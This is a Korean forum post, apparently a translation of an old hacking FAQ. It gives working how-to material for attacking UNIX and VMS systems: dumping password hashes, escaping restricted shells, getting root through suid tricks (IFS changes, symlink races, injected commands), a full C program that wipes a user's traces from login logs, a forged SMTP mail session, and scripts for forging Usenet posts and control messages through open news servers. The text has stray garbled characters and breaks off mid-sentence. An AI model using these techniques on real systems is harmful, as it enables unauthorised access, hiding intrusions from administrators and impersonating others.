서버 / IT 해킹에 관한 질문과 답변
2011.12.19 10:38
━━━━ 해 킹 에 관 한 질 문 과 답 변 ━━━━━━━━━━━━━━━━━━━━━
UNIX에서 어떻게 패스워드 파일에 접근할 수 있나?
UNIX 패스워드를 어떻게 깨나?
패스워드 새도우란 무엇인가?
새도우화 되어 있는 패스워드 파일은 어디서 찾나?
NIS/yp란 무엇인가?
패스워드 파일에서 쉽표뒤에 나오는 이상한 문자들은 무엇인가?
VMS의 패스워드 파일에 어떻게 접근하나?
VMS 에서는 어떻게 패스워드를 깨나?
VMS에서 무엇을 로그로 남기나?
VMS에서의 권한은 어떤 것이 있나?
제한된 쉘에서 어떻게 빠져 나오나?
suid 스크립트나 프로그램에서 어떻게 root의 권한을 얻을 수 있나?
시스템 로그에서 내 존재를 없애는 방법은?
위조 메일(E-mail)은 어떻게 보내나?
Usenet에서는 어떻게 위조 메시지를 조작하고 포스팅할 수 있나?
IRC에서 어떻게 ChanOp(channel operator)를 해킹할 수 있나?
어떻게 IRC 클라이언트를 고쳐서 내 진짜 이름을 숨길 수 있나?
이상한 문자가 들어있는 디렉토리에 어떻게 들어갈 수 있나?
이더넷 엿보기(ethernet sniffing)란 무엇인가?
인터넷 아웃다이얼(Internet Outdial)이란?
인터넷 아웃다이얼은 어디에 있나?
이 시스템은 무엇인가?
XXX에서의 처음(default) 패스워드는 무엇인가?
트로이목마/웜/바이러스/논리 폭탄이란 무엇인가?
바이러스 같은 것으로부터 나 자신을 어떻게 보호할 것인가?
바이러스에 대한 정보는 어디서 얻을 수 있나?
암호xxx란 무엇인가?
PGP란 무엇인가?
Tempest란 무엇인가?
익명 재전송 메일(anonymous remailer)이란 무엇인가?
익명 재전송 메일은 어디에 있나?
복사 방지를 어떻게 깨나?
127.0.0.1은 무엇인가?
관리자 있는 뉴스그룹(moderated newsgroup)에 어떻게 포스팅을 하나?
e-mail로 Usenet에 어떻게 포스팅을 하나?
BIOS 패스워드는 어떻게 깨나?
암호화된 파일의 패스워드는 무엇인가?
C/C++ 로 실행코드를 역컴파일할 수 있는 가능성은 없는가?
MS-Windows의 패스워드 암호는 어떻게 동작하나?
나 절. 전화해킹(Telephony)
적색 기계(Red Box)란 무엇인가?
적색 기계는 어떻게 만드나?
6.5536Mhz의 수정진동자는 어디서 구하나?
적색 기계가 동작하는 공중전화는 어떤 것인가?
적색 기계로 어떻게 시내 전화를 할 수 있나?
청색 기계(Blue Box)란 무엇인가?
청색 기계는 아직 사용할 수 있나?
유색 기계(colored box)는 모두 무슨 기능이 있나?
ANAC 번호란 무엇인가?
내가 있는 지역의 ANAC 번호는?
재신호(ringback) 번호란 무엇인가?
내가 있는 지역의 재신호 번호는?
연결번호(loop)이란?
내가 있는 지역의 연결번호는?
CNA번호란 무엇인가?
내가 있는 지역의 전화회사 CNA번호는?
항상 통화중인 번호는 무엇인가?
전화 서비스를 잠시 중단하는 번호는 무엇인가?
감시 테스트 장치(Proctor Test Set)란?
내가 있는 지역의 감시 테스트 장치는 무엇인가?
스캐닝(scanning)이란?
스캐닝은 불법인가?
전화수리공의 장비를 어디서 살 수 있나?
DTMF 주파수란 무엇인가?
전화음의 주파수는 무엇인가?
* (LASS)코드는 모두 무엇인가?
무선 전화가 작동하는 주파수는 무엇인가?
발신자 식별자(caller-ID)는 무엇인가?
발신자 식별자는 어떻게 막을 수 있나?
PBX 란 무엇인가?
VMB란 무엇인가?
ABCD 음은 무엇을 위한 것인가?
국제 직접 번호(International Direct Number)란 무엇인가?
무선 전화
MTSO란 무엇인가?
NAM이란 무엇인가?
ESN이란 무엇인가?
MIN은 무엇인가?
SCM이란 무엇인가?
SIDH란 무엇인가?
진행/반전(forward/reverse) 채널이란?
사이트는 무엇인가?
해커에게 관심가는 fsp 사이트는 무엇인가?
해커에게 관심가는 뉴스그룹은 무엇인가?
해커에게 관심가는 telnet 사이트는 무엇인가?
해커에게 관심가는 gopher 사이트는 무엇인가?
해커에게 관심가는 WWW 사이트는 무엇인가?
해커에게 관심가는 IRC 채널은 무엇인가?
해커에게 관심가는 BBS는 무엇인가?
해커에게 관심가는 책은 무엇인가?
해커에게 관심가는 비디오는 무엇인가?
해커에게 관심가는 메일링 리스트는 무엇인가?
해커에게 관심가는 출판물은 무엇인가?
해커에게 관심가는 e-zine(전자잡지)는 무엇인가?
해커에게 관심가는 기관은 무엇인가?
해커에게 관심가는 라디오 프로그램은 무엇인가?
해커에게 관심가는 FAQ(frequentlry asked question)는 무엇인가?
자기띠(magnetic stripe)의 인코더(encoder)와 디코더(decoder)는 어디서 구입하나?
무지개색 책은 무엇이며 어디서 구할 수 있나?
alt.2600이란 무엇인가?
2600은 무엇을 의미하나?
2600이 온라인 형태로 존재하는가?
서점에서 2600을 구할 수 없다면 어떻게 해야 하나?
2600을 가판대에서 사는 것보다 주문하는 것이 왜 더 비싼가?
기타
XXX는 무엇을 의미하나?
내가 바른 신용카드 번호를 가지고 있는지 어떻게 획인하나?
자기때의 데이터 배치는 어떤 것인가?
해킹의 윤리는 무엇인가?
--------------------------------------------------------------------------------
UNIX에서 어떻게 패스워드 파일에 접근할 수 있나?
표준 UNIX에서 패스워드 파일은 /etc/passwd이다. UNIX 중에서 NIS/yp 또는 패스워드 새도우기능을 갖춘 경우에 패스워드 정보는 다른 곳에 있다. 패스워드 파일의 엔트리는 7개의 콜론으로 구분된 필드가 있다.
구분해서 보면, 이 패스워드 파일의 줄은 다음과 같다.
Username(사용자 이름)
암호화된 패스워드 (선택적인 패스워드 수명 데이터)
사용자 번호
그룹 번호
GECOS 정보
홈 디렉토리
쉘
]
] /etc/passwd의 엔트리의 일례:
]
] will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash
]
UNIX 패스워드를 어떻게 깨나?
일반적인 믿음과는 상반되겠지만, UNIX의 패스워드 파일은 해독할 수 없다. UNIX 패스워드는 단반향 함수(one way function)으로 암호화되어 있다. 로그인 프로그램은 "password:"라고 표시되는 프롬프트에서 입력되는 패스워드를 암호화하여 패스워드 파일에 암호화된 패스워드와 비교한다. 패스워드를 깨는 프로그램(password cracking program)은 단어장(wordlist)를 이용한다. 단어장에 있는 단어 하나씩을 암호화하여 패스워드 파일에 있는 암호와 비교한다. 지금까지 나와 있는 가장 좋은 패스워드 깨는 프로그램은 Alec Muffett이 작성한 Crack이다. DOS용 프로그램으로는 CrackJack이 가장 좋다. CrackJack은 ftp를 이용하여 clark.net의 /ub/jcase/ 디렉토리에서 구할 수 있다.
패스워드 새도우란 무엇인가?
패스워드 새도우란 보안 시스템으로서 암호화된 /etc/passwd의 패스워드 필드가 특별한 문자로 치환되어 있으며, 실제의 패스워드는 정상적인 사용자가 읽을 수 없는 파일에 저장되어 있다. 대부분(전부는 아니고)의 시스템에서 패스워드 새도우를 깨기 위해서 getpwent()함수를 연속적으로 부르는 프로그램을 작성하여 패스워드 파일을 만들 수 있다.
예:
#include <pwd.h>
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}
새도우화 되어 있는 패스워드 파일은 어디서 찾나?
Unix Path(경로) Token
-----------------------------------------------------------------
AIX 3 /etc/security/passwd !
or /tcb/auth/files/<first letter #
of username>/<username>
A/UX 3.0s /tcb/files/auth/?/*
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files/<first letter *
of username>/<username>
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow
<optional NIS+ private secure maps/tables/whatever>
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *
NIS/yp란 무엇인가?
NIS(Network Information System)은 현재의 이름이고 예전에는 yp(Yellow Page)라고 불리웠다. NIS의 목적은 네트워크에서 여러 기계들이 패스워드와 같은 구성정보를 공유하기 위함이다. NIS는 시스템 보안을 위해서 설계되어 있지 않다. NIS를 이용하고 있다면 /etc/passwd 파일에 다음과 같은 것이 들어 있다.
+::0:0:::
실제 패스워드 파일을 보기 위해서 "ypcat passwd" 명령을 이용하면 된다.
패스워드 파일에서 쉽표뒤에 나오는 이상한 문자들은 무엇인가?
문자는 패스워드 수명(age)을 나타내는 것이다. 패스워드 수명은 관리자가 정한 기일 내에 패스워드 파일을 바꾸도록 한다. 패스워드 수명은 사용자가 패스워드를 바꾸기 전에 정해진 시간만큼은 사용하도록 하기도 한다.
]
] 패스워드 수명 기능이 들어 있는 /etc/passwd 파일의 일례
]
] will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash
]
암호화된 패스워드 필드 뒤의 쉼표에 주의하자. 쉼표뒤에 나오는 문자는 모두 패스워드 수령기법을 위해서 사용된다.
]
] 위 예에서의 패스워드 수명 문자
]
] M.z8
]
4 개의 문자가 다음과 같이 번역된다.
1: 패스워드를 변경하지 않고 사용할 수 있는 최대 주(week)의 수
2: 패스워드를 변경하기 전까지 사용해야 할 최소 주(week)의 수
3&4: 1970년 이후로 주의 수로 마지막 패스워드가 바뀐 때
3가지 특별한 경우가 있다.
첫 번째와 두 번째 문자가 '..'로 설정되어 있을 때, 사용자는 다음에 로그인할 때 패스워드를 바꿔야만 한다. 그리고나서 패스워드 프로그램은 패스워드 수명 문자를 없애고, 사용자는 다시 새로운 패스워드 수명에 적용을 받게 된다.
세 번째와 네 번째 문자가 '..'로 설정되어 있을 때, 사용자는 다음에 로그인할 때 패스워드를 바꿔야 한다. 패스워드 프로그램은 첫 번째 두 번째의 경우와 같은 행동을 한다.
만일 첫 번째 문자(MAX)가 두 번째 문자(MIN) 보다 작을 경우, 사용자는 패스워드를 바굴 수 있는 허가가 박탈된다. root만이 이 사용자의 패스워드를 변경할 수 있다.
su 명령은 패스워드 수명 데이터를 검사하지 않는다는데 유의하기 바란다. 말소된 패스워드를 가진 계정으로 su를 행할 수 있다.
패스워드 수명 코드(Password Aging Codes)
+------------------------------------------------------------------------+
| |
| Character: . / 0 1 2 3 4 5 6 7 8 9 A B C D E F G H |
| Number: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
| |
| Character: I J K L M N O P Q R S T U V W X Y Z a b |
| Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
| |
| Character: c d e f g h i j k l m n o p q r s t u v |
| Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
| |
| Character: w x y z |
| Number: 60 61 62 63 |
| |
+------------------------------------------------------------------------+
VMS의 패스워드 파일에 어떻게 접근하나?
VMS에서 패스워드 파일은 SYS$SYSTEM:SYSUAF.DAT이다. 그러나, UNIX와는 다르게 대부분의 사용자는 패스워드 파일을 읽을 수 있는 권한이 없다.
VMS 에서는 어떻게 패스워드를 깨나?
SYS$GETUAF 함수를 이용하여 SYSUAF.DAT에 있는 암호화된 패스워드와 결과를 비교하는 프로그램을 작성한다.
두 가지 프로그램이 있는데, CHECK_PASSWORD 와 GUESS_PASSWORD이다.
로그로 남기나?
VMS의 거의 모든 것을 로그로 남길 수 있다. SHOW ACCOUNTING 명령을 이용하여 시스템의 로그 상태를 조사할 수 있다. 시스템 감사가 보안의 목적으로 로그 정보를 남기는 것에 반해, 계끑¤ 이용상태에 대한 정보를 남기는 것이 시스템 어카운팅이다(CPU 이용시간, 트린터 사용 등). 어카운팅을 하기위해서는 다음과 같은 절차를 따른다.
$ SET ACCOUNTING [/ENABLE=(Activity...)]
이렇게 하면, SYS$MANAGER:ACCOUNTING>DAT 파일에 감시 로그정보를 남긴다. 이것은 또한 이전 로그 파일을 닫고 새로운 버전의 로그를 남긴다.
다음과 같은 것이 로그로 남을 수 있다.
BATCH Termination of a batch job
DETACHED Termination of a detached job
IMAGE Image execution
INTERACTIVE Interactive job termination
LOGIN_FAILURE Login failures
MESSAGE Users messages
NETWORK Network job termination
PRINT Print Jobs
PROCESS Any terminated process
SUBPROCESS Termination of a subprocess
보안 감사를 이용하기 위해서는
$ SET AUDIT
/ALARM 은 보안 운영자로 지정된 터미널에 경고를 울리기 위해서 사용하는 옵션이다. 다시 말해서 SECURITY 권한이 필요함을 일깨우는 데 사용된다. 보안 감사 구성을 $ SHOW AUDIT
/ALL명령을 통해서 알수 있다.
보안 감사는 다음과 같은 행위를 로그로 남기도록 할 수 있다.
ACL Access Control List requested events
AUTHORIZATION Modification to the system user
authorization file SYS$SYSTEM:SYSUAF.DAT
BREAKIN Attempted Break-ins
FILE_ACCESS File or global section access
INSTALL Occurrence of any INSTALL operations
LOGFAILURE Any login failures
LOGIN A login attempt from various sources
LOGOUT Logouts
MOUNT Mount or dismount requests
VMS에서의 권한은 어떤 것이 있나?
ACNT Allows you to restrain accounting messages
ALLSPOOL Allows you to allocate spooled devices
ALTPRI Allot Priority. This allows you to set any priority
value
BUGCHK Allows you make bug check error log entries
BYPASS Enables you to disregard protections
CMEXEC/
CMKRNL Change to executive or kernel mode. These privileges
allow a process to execute optional routines with KERNEL
and EXECUTIVE access modes. CMKRNL is the most powerful
privilege on VMS as anything protected can be accessed
if you have this privilege. You must have these
privileges to gain access to the kernel data structures
directly.
DETACH This privilege allow you to create detached processes of
arbitrary UICs
DIAGNOSE With this privilege you can diagnose devices
EXQUOTA Allows you to exceed your disk quota
GROUP This privilege grants you permission to affect other
processes in the same rank
GRPNAM Allows you to insert group logical names into the group
logical names table.
GRPPRV Enables you to access system group objects through
system protection field
LOG_IO Allows you to issue logical input output requests
MOUNT May execute the mount function
NETMBX Allows you to create network connections
OPER Allows you to perform operator functions
PFNMAP Allows you to map to specific physical pages
PHY_IO Allows you to perform physical input output requests
PRMCEB Can create permanent common event clusters
PRMGBL Allows you to create permanent global sections
PRMMBX Allows you to create permanent mailboxes
PSWAPM Allows you to change a processes swap mode
READALL Allows you read access to everything
SECURITY Enables you to perform security related functions
SETPRV Enable all privileges
SHARE Allows you to access devices allocated to other users.
This is used to assign system mailboxes.
SHMEM Enables you to modify objects in shared memory
SYSGBL Allows you to create system wide permanent global
sections
SYSLCK Allows you to lock system wide resources
SYSNAM Allows you to insert in system logical names in the
names table.
SYSPRV If a process holds this privilege then it is the same as
a process holding the system user identification code.
TMPMBX Allows you create temporary mailboxes
VOLPRO Enables you to override volume protection
WORLD When this is set you can affect other processes in the
world
프로세스가 어떤 권한으로 수행하고 있는지 알기 위해서 다음과 같은 명령을 사용한다.
$ show /proc/priv
제한된 쉘에서 어떻게 빠져 나오나?
잘못 작성한 제한 쉘에서는 쉘에서 사용하는 기능을 가진 프로그램을 수행함으로서 빠져나올 수 있다. 좋은 예가 vi이다. vi를 수행할 때 다음과 같은 명령을 이용하라.
:set shell=/bikn/sh
그리고 나서 다으모가 같은 명령을 이용하여 쉘을 얻는다.
: shell
제한 쉘에서 "cd" 명령을 사용할 수 없도록 한다면 그 계정으로 ftp를 하면 cd를 할 수 있다.
suid 스크립트나 프로그램에서 어떻게 root의 권한을 얻을 수 있나?
1. 프로그램에서 system()을 이용하여 다른 프로그램을 부른다.면, IFS를 변경하여 그 프로그램을 우롱할 수 있다. IFS는 내부 필드 구분자(Internal Field Separator)의 약자로서 쉘에서 인수를 구분하는 문자로서 사용하는 것이다.
프로그램에 다음과 같은 것이 포함된다고 하자.
system("bin/data")
그리고 IFS를 '/'로 변경하면 쉘은 명령을 다음과 같이 번역한다.
bin date
이제, 프로그램 중에 bin이라는 것이 경로(path)중에 있다면, suid 프로그램은 /bin/date 프로그램 대신 bin이라는 프로그램을 수행하게 된다.
IFS를 바꾸기 위해서, 다음과 같은 명령을 이용한다.
IFS='/'; export IFS
setenv IFS '/'
export IFS='/'
2. 스크립트를 -i로 연결(link)한다.
"-i"라는 프로그램을 만들어 심볼릭 링크(symbolic link)를 만든다. "-i"를 수행하면 쉘(/bin/sh)이
상호작용(interactive) 모드가 되게 한다. 이 방법은 suid(set uid)되어 있는 스크립트에서만 사용가능하다.
예:
% ln suid.sh -i
% -i
#
3. 경쟁 조건을 이용한다.
커널에서 /bin/sh를 로드할 때 다른 프로그램으로 프로그램에 대한 심볼릭 링크를 바꾼다.
예:
nice -19 suidprog; ln -s evilprog suidroot
4. 프로그램에 잘못된 입력을 보낸다.
프로그램과 다른 명령을 한 커맨드 라인에서 수행한다.
예:
suidprog; id
시스템 로그에서 내 존재를 없애는 방법은?
/etc/utmp, /usr/adm/wtmp와 /usr/adm/lastlog 파일을 변경한다. 이것들은 텍스트 파일이 아니라
서 vi로 편집할 수 없다. 특별한 목적을 지닌 프로그램을 작성해야 한다.
예:
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}
위조 메일(E-mail)은 어떻게 보내나?
메일이 온 것으로 보이게 할 호스트의 25 번 포트로 telnet을 한다. 다음 예와 같이 메시지를 쳐 넣는다.
HELO bellcore.com
MAIL FROM:voyager@bellcore.com
RCPT TO:president@whitehouse.gov
DATA
From: voyager@bellcore.com (The Voyager)
Subject: Clipper
Reply-To: voyager@bellcore.com
Please discontinue your silly Clipper initiative.
.
QUIT
RFC 931에 따라 구현된 시스템에서 "MAIL FROM:"을 속이는 것은 되지 않는다. 자신에게 먼저 위조 메일을 보내서 확인한다.
RFC 822 "Standard for the format of ARPA Internet text messages"에 더 많은 정보가 있다.
Usenet에서는 어떻게 위조 메시지를 조작하고 포스팅할 수 있나?
From: Anonymous (Pretending to be: tale@uunet.uu.net (David C Lawrence))
Subject: FAQ: 위조를 통한 더 나은 삶 Date: 19 Mar 1995 02:37:09 GMT
"anonymous" 재전송 메일을 이용하지 않는 익명 넷뉴스(netnews).
최근 "NetNews Judges-L"에 영감을 얻어서, 여기서 제어 메시지를 위조하는 것을 포함하도록 하였다. 따라서 독자들은 자신의 투고를 취소하고 자신의 뉴스그룹을 생성하고 삭제할 수 있게 되
었다. 어떤 뉴스 기사들을 저장하라. 여기서는 그것을 "hak"이라고 예를 들어 부르겠다. "hak"을 편집하고 문서형식에서 해더는 제거한다.
From some!random!path!user (note: "From ", not "From: " !!)
Article:
Lines:
Xref:
Path: 의 헤더를 마지막 두 세 개의 까지로 줄인다.
이것은 뉴스 기사가 원래의 곳에서 포시팅 된 것처럼 보이거나, 보낸 곳의 근처의 호스트에서 보낸 것 처럼 만든다. 또는 전혀 새로운 Path: 줄을 만들어서 가짜 에일리어스(alias)를 나타내게 할 수 있다.
다른 곳과 겹치지 않을만한 것으로 Message-ID: 필드를 변경한다. 이것은 @앞에 두 자 정도의 아무 글자나 추가함으로서 할 수 있다. 왜냐하면 뉴스 포스팅 프로그램은 대개 고정길이 필드를 이용하여 이러한 ID를 만들기 때문이다.
쓰고 싶은 아무 것이나를 다른 해더에 넣는다. --From:, Newsgroups:,
Sender: 등. 원래의 메시지를 자신의 메시지로 바꾼다. 관리되고 있는 뉴스그룹에 포스팅을 할 때나 제어 메시지를 포시팅할 때, Approved: 헤더를 넣어서 관리 메카니즘을 피해가는 것을 잊지 말아야 한다.
다른 사람의 기사를 취소할려고 할 때, 그것의 message-ID가 있어야 한다. 이미 있는 메시지 헤더와 자신의 메시지 헤더는 message-ID와 더불어 다음과 같은 것을 포함해야 한다. 이것은 "control message"를 만든다. 주의: 제어 메시지(control messages)는 대개 Approved: 해더가 필요하므로 하나를 추가하도록 한다.
Approved: header as well, so you should add one.
Subject: cmsg cancel <xb8700A@twits.site.com>
Control: cancel <xb8700A@twits.site.com>
Approved: luser@twits.site.com
Newsgroups are created and destroyed with control messages, too. If
you wanted to create, for instance, comp.misc.microsoft.sucks, your
control headers would look like
Subject: cmsg newgroup comp.misc.microsoft.sucks
Control: newgroup comp.misc.microsoft.sucks
그룹이 "moderated with no moderator"(관리자없이 관리됨)을 원할 경우 문자열 "moderated"를
이 끝에 붙인다. 메시지의 본문 중간에 생성하려는 그룹에 대한 설명과 함께 변경된 다음과 같은 텍스트를 포함해야 한다.
For your newsgroups file:
comp.misc.microsoft.sucks We don't do windows
그룹을 없애기 위해서 앞의 헤더 줄에서 "newsgroup"를 "rmgoup"으로 대치한다. 대부분의 사이트에서 "rmgroup" 요청을 관리하는 사람이 그렇게 할 것인지 아닌지를 정하게 하고 있다는 것을 명심하자. 그룹 생성은 아마도 삭제보다는 자동화되어 있을 것이다. 뉴스그룹 변경은 나 자신으로부터의 것일 경우 효과가 있을 가능성이 높ㄷ. 왜냐하면 나의 이름이 많은 NNTP 서버의 제어 스크립트에 들어 있기 때문이다. 따라서 이 포스팅의 헤더로부터 From: 과 Approved: 을 이용하은 것을 권고한다.
변경된 기사를 저장하고 자신의 사이트나 자신을 가리키는 것이 없도록 확실하게 한다. 그리고 자신이 제일 좋아하는 IHAVE 명령을 전달할 수 있는 NNTP 서버에 보낸다. 이 때 다음과 같은 스크립트를 이용한다.
=======================
#! /bin/sh
## Post an article via IHAVE.
## args: filename server
if test "$2" = "" ; then
echo usage: $0 filename server
exit 1
fi
if test ! -f $1 ; then
echo $1: not found
exit 1
fi
# suck msg-id out of headers, keep the brackets
msgid=`sed -e '/^$/,$d' $1 | egrep '^[Mm]essage-[Ii][Dd]: ' | \
sed 's/.*-[Ii][Dd]: //'`
echo $msgid
( sleep 5
echo IHAVE $msgid
sleep 5
cat $1
sleep 1
echo "."
sleep 1
echo QUIT ) | telnet $2 119
=======================
기사가 하루나 이틀 사이에 나타나지 않을 경우, 다른 서버를 시도해본다. 서버는 찾기 쉽다. 여기에 저장된 네트뉴스를 시도해 볼 수 있는 서버의 목록으로 나누어주는 스크립트가 있다. 여기서 나오게 될 결과를 편집하여 사람 이름이 분명한 것과 다른 쓰레기들을 제거하고 사용하면 된다.
=======================
#! /bin/sh
FGV='fgrep -i -v'
egrep '^Path: ' $1 | sed -e 's/^Path: //' -e 's/!/\
/g' | sort -u | fgrep . | $FGV .bitnet | $FGV .uucp
=======================
Once you have your host list, feed it to the following script.
=======================
#! /bin/sh
while read xx ; do
if test "$xx" = "" ; then continue;
fi
echo === $xx
( echo open $xx 119
sleep 5
echo ihave IamSOk00l@podunk.edu
sleep 4
echo .
echo quit
sleep 1
echo quit
) | telnet
done
=======================
위의 스크립트의 이름이 "findem"이고 csh을 이용하고 있다면,
findem < list >& outfile
라고 명령어를 입력하여 모든 telnet의 출력을 저장할 수 있도록 한다. 시간이 오래걸릴 수도 있으나, 끝나면 "outfile"을 편집하고 "335"가 있는 곳을 찾는다. 이것은 서버가 기사를 받을 준비가 되었다는 것을 의미한다. 이것은 완전히 믿을만한 표시는 아니다. 왜냐하면 어떤 서버는 기사를 받겠다고 응답을 하고나서 기사를 버리는 경우도 있기 때문이다. 다른 사람의 메시지를 약간만 변형해서 서버에 보내본 뒤 기사나 나타나는지를 확인한다. 때때로 telnet이 이상한 상태에 빠져 멈추기도 한다. 특히 서버가 NNTP 연결을 거부하는 경우에 특히 그렇다. 만일 멈추어 버린 telnet 프로세스를 kill명령으로 죽이고 스크립트는 수행상태로 놓아둔다면, 스크립트는 계속 수행된다. 다시 말해서 수행중인 finding script를 잠시 감시해야 한다.
IHAVE 를 받아들이지 않으면서 "posting ok"를 보내는 서버를 발결할 수도 있다. 이런 서버들은 POSTS를
댓글 [0]
번호 | 제목 | 글쓴이 | 조회 | 추천 | 등록일 |
---|---|---|---|---|---|
[공지] | 강좌 작성간 참고해주세요 | gooddew | - | - | - |
1305 | 기 타| RedHat기반-여러개의 이더넷카드 인식 및 네트웍 인터페이... | gooddew | 5403 | 0 | 12-19 |
1304 | 기 타| 리눅스 보안 점검 | gooddew | 5330 | 0 | 12-19 |
1303 | 기 타| linux_ppp | gooddew | 5159 | 0 | 12-19 |
1302 | 기 타| linux_FAQ | gooddew | 5140 | 0 | 12-19 |
1301 | 기 타| linux_ansi 코드 사용법 [1] | gooddew | 5805 | 0 | 12-19 |
1300 | 기 타| 방화벽 강좌 모음 | gooddew | 5694 | 0 | 12-19 |
1299 | 기 타| Hard Drive 빠르게 만들기 | gooddew | 5967 | 0 | 12-19 |
1298 | 기 타| GRUB 설정하기 | gooddew | 6308 | 1 | 12-19 |
1297 | 기 타| DNS server 강좌 모음 | gooddew | 5270 | 0 | 12-19 |
1296 | 기 타| DHCP 서버 구축하기 | gooddew | 7111 | 0 | 12-19 |
1295 | 기 타| 리눅스 X-WINDOW | gooddew | 5337 | 0 | 12-19 |
1294 | 기 타| 리눅스 따라하기 종합 완결편(160Mb) | gooddew | 5251 | 1 | 12-19 |
1293 | 기 타| 리눅스 설치하기 | gooddew | 5242 | 0 | 12-19 |
1292 | 기 타| 유용한 CMD 명령어들 [1] | gooddew | 7051 | 0 | 12-19 |
1291 | 기 타| 리눅스 역사 [1] | gooddew | 5044 | 0 | 12-19 |
1290 | 기 타| 리눅스 CUI 명령어 강좌 [3] | gooddew | 5666 | 0 | 12-19 |
1289 | 서버 / IT| 해킹피해시스템(Windows NT/2000) 분석절차 | gooddew | 7539 | 0 | 12-19 |
1288 | 기 타| 해킹계의 현실 | gooddew | 5832 | 0 | 12-19 |
» | 서버 / IT| 해킹에 관한 질문과 답변 | gooddew | 8381 | 0 | 12-19 |
1286 | 기 타| 취약성분석 | gooddew | 5150 | 0 | 12-19 |